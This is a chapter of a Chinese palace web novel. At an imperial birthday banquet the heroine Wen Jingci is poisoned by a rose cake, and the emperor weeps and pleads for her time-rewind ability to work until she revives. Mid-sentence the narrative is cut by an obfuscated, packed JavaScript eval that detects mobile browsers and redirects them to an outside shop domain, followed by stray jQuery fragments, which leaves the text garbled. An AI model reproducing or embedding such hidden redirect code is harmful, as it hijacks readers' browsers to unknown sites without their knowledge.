生辰宴上的大部分内容温镜辞都不是很喜欢,所以她几乎从头到尾都没有抬过头,关于前面到底发生了什么事情,她一概不知,只知道好吃。
萧临渊倒跟她是完全不一样的想法,他完全就是数着时间度过的,所有人的视线都集中在他身上,导致他完全没办法放松的坐着。
桌子上的东西也几乎没怎么动,他快饿疯了。
余光精准的抓到角落里正埋头干饭的人,羡慕两个词他真的想重复个无数遍。
视线转了转,转到昭宁身上,她正在跟身旁的人小声的说些什么,一边说一边抬头看正在跳舞的舞姬,似乎是在普及什么文化内容。
一看到两人十分和睦的样子,他就想叹气。
本来还想着再推一推,想着一个糙汉子一个闺房小姐,怎么着都不会有话讲,但现下看倒是失算了。
或许嫁妆也该准备准备了。
我的妹妹啊。
他低头看向面前的桌子,除了酒就没有别的了,这酒的后劲儿太大了,刚才那一杯喝完脑袋晕乎乎。
他想喝水,但是没有水。
算了忍着吧。
萧临渊强行将注意力转移到面前的舞姬身上,看她们轮番跳舞,心里感叹也确实是个辛苦活儿。
“皇上,臣妾敬皇上一杯。”淑贵妃坐在下首,染着豆蔻的指甲举着酒杯,笑着妩媚又勾人。
萧临渊拿起酒杯冲她示意,抬手喝了,随后心里默默叹气。
“皇上,臣妾也敬您一杯。”身旁的皇后也朝他举起酒杯。
萧临渊又喝了。
其他人又敬酒,他又喝了。反反复复的敬酒,萧临渊来来回回已经喝了好几杯了,实在是不行了。
他朝王德才看了一眼,对方立马心领神会的走了过来,萧临渊耳语了一番,他立马拿着知道什么意思了。
等王德才再过来的时候,手上拿了个托盘,上面放了个新的酒壶,并且十分自然的将桌子上的那个替换了。
温镜辞悄悄打了个饱嗝,一旁的不知道是那个宫里的常在听到声音看了她一眼,兴许是她现在的样子确实不怎么赏心悦目。
对方上下扫了一眼不屑的移开了视线。
温镜辞端起酒杯一饮而尽,入口甘甜的口感让她忍不住多喝了点,浮光在一旁看的心惊胆战。
祖宗欸,这酒能是这么喝的吗?
没一会儿,温镜辞就觉得脑袋晕乎乎的,等彻底反应过来之后,才知道自己刚才喝的酒度数不低。
她撑着脑袋看向萧临渊的方向,见他一杯杯的喝,心里骂道。
“还喝,喝晕你。”
关顾着吃喝的温镜辞完全没有注意到,有人一直在看向自己的方向。
舞姬的舞蹈告一段落,接下来便是公开的送礼物环节,刚醒过神的温镜辞猛地一惊,感觉压下去的醉意又反上来了。
慎亲王率先出声,命人将自己准备的生辰礼搬上来,是一个巨大的玉雕成的群臣逐鹿的热闹场面。
那东西大到需要好几个人联合起来才能把它搬进来,放在宴会正中央后,烛光一打透着玉石的通透。
雕刻的技艺精湛,任何一个小小的细节都惟妙惟肖,从这个生辰礼上能够看出来用心程度。
“慎亲王有心了,如此精湛的雕刻技术,想必是费了不少功夫。”
“皇上的生辰礼,臣不敢疏忽,特寻能工巧匠雕刻而成,望皇上喜欢。”
“不错。”萧临渊说道,“那朕就收下了。”
萧问瑢送礼物的缓解结束了之后,就轮到新可汗了。
他送的礼物倒是跟萧问瑢的有异曲同工之妙,也是雕刻的东西,不过是象牙,精美的像是个摆件,被装在盒子里,完全舍不得拿出来。
还有其他的就是虎皮和一些名贵的中草药之类的东西,这些在很早的时候就已经送进来了。
昭宁和永安则是送的瓷器和名画。
萧临渊来者不拒,统统收下。
紧接着便只展示了皇后贵妃等人的礼物,其他人的都没有展示,只是在最开始的时候就命人送了过去。
温镜辞到这个时候才松了口气,还以为所有人的都要展示呢,原来只展示这几个啊。
害得她白担心了这么久。
身旁的宫女端着新的糕点走来走去,将桌子上的空餐盘全部清掉,一一放上了新的。
等到人走了之后,温镜辞的视线不可抑制的看向看向桌子角落,放置着的那一碗冰酪。
碗的边缘凝结出的水珠顺着碗往下落,在桌子上形成一小摊水渍。
刚才吃了那么多的糕点,这桌上除了酒又没有别的了,她早就口渴了。
余光瞧了瞧旁边的妃子,见大家都已经在喝了,她伸手直接拿了过来,拿起勺子稍微搅了搅,低头吃了一口。
冰冰凉凉的口感,极大程度的缓解了口腔里对水的渴望。
三两口就把为数不多的冰酪吃完了,甜甜的味道似乎还萦绕在她的嘴巴里。但她没管那么多,低头开始吃桌上其他的菜。
直到察觉到嗓子处开始不舒服,似乎有着什么东西堵住了,更像是吃东西卡住了的那股子窒息感。
温镜辞皱着眉按了按自己的脖子,非但没有缓解甚至更加严重了。
意识在不经意间慢慢的开始抽离,视线边缘逐渐开始模糊,眼前的一切开始分身,一个两个三个。
浮光察觉到不对劲连忙低头看,却发现对方的脸色陡然开始发白,整个人大口大口的呼吸着,胸腔剧烈起伏。
“小主,小主你怎么了?”
萧临渊率先察觉到不对劲,转头看向温镜辞的方向,却只看到她倒在浮光怀里,手放在脖子上,嘴张着,眼睛瞪得很大,已经没反应了。
在所有人都没有注意到的时候,他飞快站起身,朝着温镜辞的方向跑下去,这时其他人才看到温镜辞的异常。
“啊!”
惊呼声打破了丝竹声,四周陷入安静。
“温镜辞!温镜辞!还好吗?醒醒,能听得到我说话吗?温镜辞!”
萧临渊视线转向一旁吃的差不多的盘子,厉声喊道:“王德才!给朕一个一个的验,朕要知道这桌子上到底是哪个的问题。”
“嗻。”
王德才立马窜出来,带着几个太监分别拿着银针开始挨个验毒。周围的妃嫔见此情景立马也慌乱起来。
她们吃的东西都是一样的,保不准自己这里也有问题。
“快醒醒,还有没有意识了?”
萧临渊跪在地上抱着温镜辞的身体一遍遍的喊,完全无视了身后所有人的注视。
但任凭萧临渊如何喊叫,温镜辞都没有给出任何反应,就连最开始的挣扎抽搐都没有了,浑身瘫软的躺在他怀里。
是完全没有意识撑着,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17642859|206026||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
浑身的重量全部都倒在他身上。
“温镜辞?你别吓我,你回溯了吗?你回溯啊!你快回溯啊!你能听见我说话的是不是?”
“你脑子里想那四个字,你用心里说,不用说出来,你回溯啊,你听到我说话了吗?”
“来人,快去请太医!”皇后的声音在身后响起,立马有太监迅速跑了出去。
在场的所有人都能看出来两人的关系不一般,但萧临渊管不了那么多了。
“皇上,毒验出来了,是这盘玫瑰糕的问题,里面掺了大量的毒药。”
王德才的声音勉强唤回萧临渊一丝理智,他转头看向王德才手中黑乎乎的银针。
“把御膳房所有人全部抓起来,关进大牢,听候发落。”
“嗻,奴才这就去办。”
“温镜辞。”
萧临渊似乎已经感受到了结局,他低低的唤了声。
他手轻轻的摸向她的鬓发,又划向她的下颌,将她整个人都往自己的方向拢了拢,将她的脸紧紧贴在自己的胸口。
萧临渊低下头,侧脸贴在她的额头上,鼻尖里传来她身上的熏香味儿,淡淡的,是她平时从来没有过的味道。
应该是为了这次生辰宴特意熏得,他刚进来的时候就注意到她今天的衣服也是新的,连头上的珠钗都是新的。
难得打扮的人穿了套新衣服,向来坐不住的人规规矩矩的坐了两个小时,现在却已经躺在了他怀里。
眼眶猛地一热,眼泪顺着眼角划向鼻梁,滴落在温镜辞的脸上。
眼泪流下的瞬间,一直强行压制着的情绪似乎找到了一个合理的缺口。
他小心翼翼的托着她的脑袋,眼泪簌簌落下。
萧临渊将脸埋在她发间,肩膀微微耸动,抑制不住的呜咽声从嗓子里跑出来,最后嚎啕大哭。
“你回来,求你了。你别丢下我一个人,别丢下我好不好,你带我走。温镜辞,你带我走,你带我离开这里好不好?”
萧临渊第一次对时间的正常流动感到害怕,每一分每一秒的流逝都在告诉他一个他不想面对的答案。
以往不到两分钟就会出现的时间回溯,到现在迟迟没有出现。
他之前很害怕温镜辞回溯,因为这意味着他做完的事情又会再次出现,或者是大臣的围攻以及满桌的奏折。
但他现在期盼这样的情况出现,他宁愿温镜辞回溯到他们还没有认识之前,也不愿看到这样的结果。
他低头看她,嘴唇贴着她的耳朵,声音轻的像是在自言自语。“你是不是……真的回不来了?”
他以前觉得回溯能力是万能的,它能帮他避免天灾人祸,能帮他一次次的抓贪官,能扳倒前朝的祸根,能让收成变多,能让百姓安居乐业。
但他从来没想过回溯有一天会失效。
殿外传来急促的脚步声,是太医到了。
萧临渊依旧抱着没松手,他不想听到别人的宣判,他还没做好准备。
然后他听到了一个极轻极轻的声音,额头处被什么东西一下下的触碰。
“呦!错了错了。”
萧临渊整个人都僵住了,他缓缓低下头,看到怀里的人不知在什么时候已经睁开了眼,眼神亮亮的盯着他。
温镜辞眨巴了一下眼睛,眼珠子来回转,似乎还没搞懂眼前的场景,但似乎感觉好像有些不同寻常。
“嗨?”